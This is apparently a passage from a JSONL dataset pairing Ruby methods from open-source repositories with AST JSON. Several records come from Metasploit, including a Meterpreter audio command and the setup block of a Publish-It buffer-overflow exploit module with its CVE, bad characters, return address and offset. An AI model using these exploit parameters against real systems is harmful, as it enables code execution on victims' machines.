",\"children\":[{\"type\":\"send\",\"children\":[null,\"attachment\"]},\"file\"]},\"download\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mode\"]},{\"type\":\"str\",\"children\":[\"wb\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"temp_file_path\"]}]}]}","id":"d4e8ac86-6262-4d83-969d-ad26df300412"}
{"repo_name":"haml","file_path":"./repos/haml/test/haml/helper_test.rb","start_line":91,"raw_source":"def test_tabs; skip\n    assert_equal(\"foo\\n  bar\\nbaz\\n\", render(\"foo\\n- tab_up\\nbar\\n- tab_down\\nbaz\"))\n    assert_equal(\"          <p>tabbed</p>\\n\", render(\"- buffer.tabulation=5\\n%p tabbed\"))\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_tabs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"foo\\n  bar\\nbaz\\n\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"foo\\n- tab_up\\nbar\\n- tab_down\\nbaz\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"          <p>tabbed</p>\\n\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"- buffer.tabulation=5\\n%p tabbed\"]}]}]}]}]}","id":"d744d476-8172-4819-8245-8acc09a5dfd2"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/seeders/env_data/custom_design_seeder.rb","start_line":87,"raw_source":"def seed_remote_url(custom_style, key, url)\n      response = HTTPX.get(url)\n      raise \"Failed to set #{key} from #{url}: #{response}\" unless response.status == 200\n\n      build_attachable_file(key.to_s, response.body.to_s) do |file|\n        custom_style.public_send(:\"#{key}=\", file)\n        custom_style.save!\n      end\n    end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"seed_remote_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"custom_style\"]},{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HTTPX\"]},\"get\",{\"type\":\"lvar\",\"children\":[\"url\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"status\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to set \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\" from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build_attachable_file\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]},\"to_s\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_style\"]},\"public_send\",{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\"=\"]}]},{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_style\"]},\"save!\"]}]}]}]}]}","id":"68c299f0-f226-497a-a83c-1977f17f2f73"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/ldap_groups/app/components/ldap_groups/synchronized_filters/row_component.rb","start_line":40,"raw_source":"def name\n        link_to synchronized_filter.name, ldap_groups_synchronized_filter_path(synchronized_filter)\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"link_to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"synchronized_filter\"]},\"name\"]},{\"type\":\"send\",\"children\":[null,\"ldap_groups_synchronized_filter_path\",{\"type\":\"send\",\"children\":[null,\"synchronized_filter\"]}]}]}]}","id":"9354e540-3451-49f8-88f9-aa30b8e70999"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/wizard.rb","start_line":41,"raw_source":"def prepare_on(wizard)\n      call_with_model(preparation, wizard)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare_on\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"wizard\"]}]},{\"type\":\"send\",\"children\":[null,\"call_with_model\",{\"type\":\"send\",\"children\":[null,\"preparation\"]},{\"type\":\"lvar\",\"children\":[\"wizard\"]}]}]}","id":"00378f02-c26a-4aa9-9059-c139b3e6fae7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-backup-cli/lib/gitlab/backup/cli/shell/pipeline.rb","start_line":34,"raw_source":"def run!(input: nil, output: nil)\n            start = Time.now\n            input = typecast_input!(input)\n            output = typecast_output!(output)\n\n            # Open3 writes on `err_write` and we receive from `err_read`\n            err_read, err_write = IO.pipe\n\n            # Pipeline accepts custom {Process.spawn} options\n            # stderr capture is always performed, stdin and stdout redirection\n            # are performed only when either `input` or `output` are present\n            options = { err: err_write } # redirect stderr to IO pipe\n            options[:in] = input if input # redirect stdin\n            options[:out] = output if output # redirect stdout\n\n            status_list = Open3.pipeline(*build_command_list, **options)\n            duration = Time.now - start\n\n            err_write.close # close the pipe before reading\n            stderr = err_read.read\n            err_read.close # close after reading to avoid leaking file descriptors\n\n            Result.new(\n              stderr: stderr,\n              status_list: status_list,\n              duration: duration\n            )\n          end","complexity_score":26.6,"ast_json":"{\"type\":\"def\",\"children\":[\"run!\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"input\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"output\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"start\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"lvasgn\",\"children\":[\"input\",{\"type\":\"send\",\"children\":[null,\"typecast_input!\",{\"type\":\"lvar\",\"children\":[\"input\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[null,\"typecast_output!\",{\"type\":\"lvar\",\"children\":[\"output\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"err_read\"]},{\"type\":\"lvasgn\",\"children\":[\"err_write\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IO\"]},\"pipe\"]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"err\"]},{\"type\":\"lvar\",\"children\":[\"err_write\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"in\"]},{\"type\":\"lvar\",\"children\":[\"input\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"out\"]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"status_list\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Open3\"]},\"pipeline\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build_command_list\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"duration\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"start\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err_write\"]},\"close\"]},{\"type\":\"lvasgn\",\"children\":[\"stderr\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err_read\"]},\"read\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err_read\"]},\"close\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Result\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stderr\"]},{\"type\":\"lvar\",\"children\":[\"stderr\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status_list\"]},{\"type\":\"lvar\",\"children\":[\"status_list\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"duration\"]},{\"type\":\"lvar\",\"children\":[\"duration\"]}]}]}]}]}]}","id":"41692817-77e0-40ca-bb14-c57d81d16c5d"}
{"repo_name":"spree","file_path":"./repos/spree/core/lib/spree/money.rb","start_line":13,"raw_source":"def from_cents(amount_in_cents, options = {})\n        money = ::Money.from_cents(amount_in_cents, options[:currency])\n        new(money.to_d, options)\n      end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"from_cents\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"amount_in_cents\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"money\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Money\"]},\"from_cents\",{\"type\":\"lvar\",\"children\":[\"amount_in_cents\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"currency\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"money\"]},\"to_d\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"9fa2cb79-bb9a-47dc-93ec-1f29d01765c2"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/project_include_component.rb","start_line":101,"raw_source":"def click_button(text)\n      within_body do\n        page.find(\"button:not([disabled])\", text:).click\n      end\n    end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"click_button\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_body\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"str\",\"children\":[\"button:not([disabled])\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}]},\"click\"]}]}]}","id":"e8451647-358c-438d-a945-6843637d86e9"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relation_test.rb","start_line":229,"raw_source":"def test_merging_readonly_false\n      relation = Relation.new(FakeKlass)\n      readonly_false_relation = relation.readonly(false)\n      # test merging in both directions\n      assert_equal false, relation.merge(readonly_false_relation).readonly_value\n      assert_equal false, readonly_false_relation.merge(relation).readonly_value\n    end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_merging_readonly_false\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"relation\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Relation\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"FakeKlass\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"readonly_false_relation\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"readonly\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"readonly_false_relation\"]}]},\"readonly_value\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"readonly_false_relation\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"relation\"]}]},\"readonly_value\"]}]}]}]}","id":"e1c6fd92-b5d7-4bc9-b283-e7aeeab79b9b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/terraform_module/create_package_service.rb","start_line":75,"raw_source":"def name\n        \"#{params[:module_name]}/#{params[:module_system]}\"\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"module_name\"]}]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"module_system\"]}]}]}]}]}","id":"d7bef12f-0781-4c24-a587-18fe87561d9a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/audio_output.rb","start_line":36,"raw_source":"def cmd_play(*args)\n    if args.length == 0\n      print_line('Please specify a path to an audio file')\n      return\n    end\n\n    audio_path = args[0]\n\n    print_status(\"Playing #{audio_path}...\")\n    client.audio_output.play_file(audio_path)\n    print_status('Done')\n  end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_play\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Please specify a path to an audio file\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"audio_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Playing \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"audio_path\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"audio_output\"]},\"play_file\",{\"type\":\"lvar\",\"children\":[\"audio_path\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Done\"]}]}]}]}","id":"e81b6406-8dc7-475c-94f6-bcf9b75b049c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/publishit_pui.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Publish-It PUI Buffer Overflow (SEH)',\n        'Description' => %q{\n          This module exploits a stack based buffer overflow in Publish-It when\n          processing a specially crafted .PUI file. This vulnerability could be\n          exploited by a remote attacker to execute arbitrary code on the target\n          machine by enticing a user of Publish-It to open a malicious .PUI file.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Daniel Kazimirow', # Original discovery\n          'Andrew Smith \"jakx_\"', # Exploit and MSF Module\n        ],\n        'References' => [\n          [ 'OSVDB', '102911' ],\n          [ 'CVE', '2014-0980' ],\n          [ 'EDB', '31461' ]\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process'\n        },\n        'Platform' => 'win',\n        'Payload' => {\n          'BadChars' => \"\\x00\\x0b\\x0a\",\n          'DisableNops' => true,\n          'Space' => 377\n        },\n        'Targets' => [\n          [\n            'Publish-It 3.6d',\n            {\n              'Ret' => 0x0046e95a, # p/p/r | Publish.EXE\n              'Offset' => 1082\n            }\n          ],\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2014-02-05',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options([OptString.new('FILENAME', [ true, 'The file name.', 'msf.pui']),])\n  end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Publish-It PUI Buffer Overflow (SEH)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a stack based buffer overflow in Publish-It when\\n\"]},{\"type\":\"str\",\"children\":[\"          processing a specially crafted .PUI file. This vulnerability could be\\n\"]},{\"type\":\"str\",\"children\":[\"          exploited by a remote attacker to execute arbitrary code on the target\\n\"]},{\"type\":\"str\",\"children\":[\"          machine by enticing a user of Publish-It to open a malicious .PUI file.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Daniel Kazimirow\"]},{\"type\":\"str\",\"children\":[\"Andrew Smith \\\"jakx_\\\"\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"102911\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2014-0980\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"31461\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"process\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\\u000b\\n\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[377]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Publish-It 3.6d\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[4647258]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offset\"]},{\"type\":\"int\",\"children\":[1082]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2014-02-05\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FILENAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The file name.\"]},{\"type\":\"str\",\"children\":[\"msf.pui\"]}]}]}]}]}]}]}","id":"01acfcda-5621-4c6a-b359-3d5ecd7f1ab1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/internal_id.rb","start_line":76,"raw_source":"def build_generator(subject, scope, usage, init = nil)\n      ImplicitlyLockingInternalIdGenerator.new(subject, scope, usage, init)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"build_generator\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"subject\"]},{\"type\":\"arg\",\"children\":[\"scope\"]},{\"type\":\"arg\",\"children\":[\"usage\"]},{\"type\":\"optarg\",\"children\":[\"init\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ImplicitlyLockingInternalIdGenerator\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"subject\"]},{\"type\":\"lvar\",\"children\":[\"scope\"]},{\"type\":\"lvar\",\"children\":[\"usage\"]},{\"type\":\"lvar\",\"children\":[\"init\"]}]}]}","id":"1794615d-d131-4ff9-8f08-29ec5cdf83ce"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/abrt_sosreport_priv_esc.rb","start_line":81,"raw_source":"def base_dir\n    datastore['WritableDir']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"base_dir\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WritableDir\"]}]}]}","id":"2e2d7336-efcb-45e2-9671-c9809f878e01"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/session_compatible_modules.rb","start_line":13,"raw_source":"def session_compatible_modules\n        # Use the built in search command functionality to get a list of search results\n        search_params = { 'session_type' => [[self.session.type], []] }\n        Msf::Modules::Metadata::Cache.instance.find(search_params)\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"session_compatible_modules\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"search_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"session_type\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"session\"]},\"type\"]}]},{\"type\":\"array\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Modules\"]},\"Metadata\"]},\"Cache\"]},\"instance\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"search_params\"]}]}]}]}","id":"ab398977-77c8-457e-8ee4-8ea3a837a79a"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/oauth/password_access_token_request.rb","start_line":15,"raw_source":"def initialize(server, client, credentials, resource_owner, parameters = {})\n        @server          = server\n        @resource_owner  = resource_owner\n        @client          = client\n        @credentials     = credentials\n        @parameters      = parameters\n        @original_scopes = parameters[:scope]\n        @grant_type      = Doorkeeper::OAuth::PASSWORD\n      end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"server\"]},{\"type\":\"arg\",\"children\":[\"client\"]},{\"type\":\"arg\",\"children\":[\"credentials\"]},{\"type\":\"arg\",\"children\":[\"resource_owner\"]},{\"type\":\"optarg\",\"children\":[\"parameters\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@server\",{\"type\":\"lvar\",\"children\":[\"server\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@resource_owner\",{\"type\":\"lvar\",\"children\":[\"resource_owner\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@client\",{\"type\":\"lvar\",\"children\":[\"client\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@credentials\",{\"type\":\"lvar\",\"children\":[\"credentials\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@parameters\",{\"type\":\"lvar\",\"children\":[\"parameters\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@original_scopes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parameters\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"scope\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@grant_type\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Doorkeeper\"]},\"OAuth\"]},\"PASSWORD\"]}]}]}]}","id":"a0bdd33c-da71-4cde-bfaa-d627739b847e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/modules_test.rb","start_line":33,"raw_source":"def test_module_spanning_associations\n    firm = MyApplication::Business::Firm.first\n    assert_not firm.clients.empty?, \"Firm should have clients\"\n    assert_nil firm.class.table_name.match(\"::\"), \"Firm shouldn't have the module appear in its table name\"\n  end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_module_spanning_associations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"firm\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MyApplication\"]},\"Business\"]},\"Firm\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"clients\"]},\"empty?\"]},{\"type\":\"str\",\"children\":[\"Firm should have 